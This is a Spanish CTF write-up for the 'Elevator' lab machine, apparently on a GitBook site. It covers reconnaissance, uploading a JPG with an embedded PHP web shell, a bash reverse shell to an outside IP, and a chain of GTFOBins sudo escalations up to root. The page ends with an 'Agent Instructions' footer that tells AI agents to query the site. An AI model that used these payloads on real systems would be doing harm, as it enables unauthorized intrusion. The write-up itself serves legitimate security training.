# Elevator

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/8lJddTPxRgCMV7Ai4x9e" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/kuG6dJu3wFQLv9RllzZM" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/EJ8JvdiLafhYfPCxiC1Y" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sobre un misterio en un ascensor.

<figure><img src="/files/rwEs87yQbmrIVm5r45ku" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="/files/OGFHHrYn51qDOaSbpjFs" alt=""><figcaption></figcaption></figure>

Entramos en ese directorio pero no encontramos nada. Por lo que hacemos otra búsqueda de directorios.

```bash
gobuster dir -u http://172.17.0.2/themes -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x txt,html,php
```

<figure><img src="/files/tDbWeApLj1kpr7bndbnc" alt=""><figcaption></figcaption></figure>

Vemos un directorio `/uploads` y un `archivo.html` por lo que supongamos que podemos subir una Reverse Shell.

<figure><img src="/files/wYEy7KWRV4afao5QuTR6" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Como podemos ver solo nos deja subir archivos en formato **.jpg** por lo que creamos una imagen y le insertamos código malicioso.

```bash
convert -size 200x200 xc:red ~/Desktop/malicious_image.jpg
exiftool -Comment='<?php system($_GET["cmd"]); ?>' ~/Desktop/malicious_image.jpg
```

Subimos la imagen y nos vamos al directorio `/uploads`.

<figure><img src="/files/mg4Se5qffoTOEmyq3039" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha.

```bash
nc -nlvp 443
```

Mientras en el buscador.

```bash
http://172.17.0.2/themes/uploads/6748e39cbd8ea.jpg.php?cmd=bash%20-c%20%22bash%20-i%20>%26%20/dev/tcp/192.168.255.136/443%200>%261%22
```

<figure><img src="/files/H3HEaamQD6A6Ja0g9zg2" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/lo2fwWo4JamnAJZDrh7i" alt=""><figcaption></figcaption></figure>

Nos llama la atención **env** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/env/)cómo explotarlo.

```bash
sudo -u daphne /usr/bin/env /bin/sh
```

<figure><img src="/files/Rm7VJN4EIZS24G4cyu2t" alt=""><figcaption></figcaption></figure>

Ya somos **daphne**.

<figure><img src="/files/DRrTpCEf8FepNg0F9y5z" alt=""><figcaption></figcaption></figure>

Nos llama la atención **ash** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/ash/)cómo explotarlo.

```bash
sudo -u vilma /usr/bin/ash
```

<figure><img src="/files/QOTKIP0GwwJ9Q0kB5fNk" alt=""><figcaption></figcaption></figure>

Ya somos **vilma**.

<figure><img src="/files/fsu8Rjr1lveZ2Jm6XjCa" alt=""><figcaption></figcaption></figure>

Nos llama la atención **ruby** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/ruby/)cómo explotarlo.

```bash
sudo -u shaggy /usr/bin/ruby -e 'exec "/bin/sh"'
```

<figure><img src="/files/pdM7QFG6FTKLyg3vuyLm" alt=""><figcaption></figcaption></figure>

Ya somos **shaggy**.

<figure><img src="/files/QpPQVvVHBAgigGXkWsBI" alt=""><figcaption></figcaption></figure>

Nos llama la atención **lua** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/lua/)cómo explotarlo.

```bash
sudo -u fred /usr/bin/lua -e 'os.execute("/bin/sh")'
```

<figure><img src="/files/XO4izcmoavAC7JHluBxi" alt=""><figcaption></figcaption></figure>

Ya somos **fred**.

<figure><img src="/files/L2ArCj93dGiCxG7FMPPt" alt=""><figcaption></figcaption></figure>

Nos llama la atención **gcc** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/gcc/)cómo explotarlo.

```bash
sudo -u scooby /usr/bin/gcc -wrapper /bin/sh,-s .
```

<figure><img src="/files/hP5TcKrKSb43VERaUlSC" alt=""><figcaption></figcaption></figure>

Ya somos **scooby**.

<figure><img src="/files/lTwFHTSg9h3lbvxrMxqS" alt=""><figcaption></figcaption></figure>

Nos llama la atención **sudo** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/sudo/)cómo explotarlo.

```bash
sudo -u root /usr/bin/sudo /bin/sh
```

<figure><img src="/files/pVttPE0GzM5Oo2XPDcdy" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/mis-ctfs/elevator.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
